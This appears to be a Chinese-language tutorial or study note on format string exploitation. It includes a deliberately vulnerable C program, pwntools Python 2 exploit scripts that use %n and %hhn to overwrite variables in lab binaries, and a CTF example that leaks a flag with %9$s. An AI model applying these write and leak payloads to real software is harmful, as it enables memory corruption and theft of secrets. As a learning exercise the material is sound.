覆盖栈内存
所用例子
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
GCC编译为32位。
首先输入AAAA与若干%p,确定我们输入的字符串在堆栈里的位置。这里数一下发现是第六个参数
所以使用exp
from pwn import *
#sh = process('./overflow')
overflow = ELF('./overflow')
c_addr = int(sh.recvuntil('\n',drop=True),16)
print hex(c_addr)
payload = p32(c_addr)+'%012d' +'%6$n'
sh.sendline(payload)
print sh.recv()
sh.interactive()
即可修改C的值为16,这里因为p32后的c_addr占据4个字节,%012d 为长度为12个字节的整数,不足则以0补全,所以长度加起来为16.所以可以写到第六个参数并且是c的地址里。将C改变为16
覆盖任意地址内存
覆盖小数字
修改a为小数2
在IDA里查看到a的地址为0x804A028
构造的大概为 aa%k$naa+addr_a k为addr_a所在的参数位置
根据之前看 AAAA在第六个参数,即aa%k 在第六个 $naa即在第七个 所以addr_a在第八个参数
from pwn import *
sh = process('./overflow')
overflow = ELF('./overflow')
c_addr = int(sh.recvuntil('\n',drop=True),16)
payload = 'aa%8$naa' + p32(0x804A028)
sh.sendline(payload)
print sh.recv()
sh.interactive()
修改成功
覆盖大数字
利用%hh 将数字写入单字节地址是关键。
在IDA里找到b的地址
直接exp附注释
from pwn import *
sh = process('./overflow')
overflow = ELF('./overflow')
b_addr = 0x804A02c
payload = p32(b_addr) + p32(b_addr+1) + p32(b_addr+2) + p32(b_addr+3) #分别向每个地址写入单字节值
#0x78 in b_addr
if len(payload) < 0x78:
result = 0x78 - len(payload)
elif len(payload) == 0x78:
result = 0
else:
result = 256 + 0x78 - len(payload) #256时候写入为0,所以最终值会模256
payload += '%' + str(result) +'c' + '%6$hhn'
result = 256+0x56-0x78 #因为之前已经输入了0x78个字符,转化为hh单字节字符的值会模256,所以这里的值会变成0x56个。以下类推。
payload +='%' + str(result) +'c' + '%7$hhn'
result = 256+0x34-0x56
payload +='%' + str(result) +'c' + '%8$hhn'
result = 256+0x12-0x34
payload +='%' + str(result) +'c' + '%9$hhn'
sh.sendline(payload)
print sh.recv()
sh.interactive()
成功修改,实现了一遍所有的利用,下次做例子。
例子
查看保护,发现开启了canary 与 NX,并且程序为64位
在IDA中查看
很典型的格式化字符串漏洞。
在GDB中调试,并在printf处下断点。
容易看出flag在堆栈里的第四个参数,但是64位参数先使用6个寄存器传递参数再使用堆栈传递参数。
fmt存储在RDI中为第一个参数,所以只需要再便宜9个参数即可到达flag。
即 输入 %9$s 即可泄露flag
exp
sh = process('./goodluck')
payload = '%9$s'
sh.recv()
sh.sendline(payload)
output = sh.recv()
print output
sh.interactive()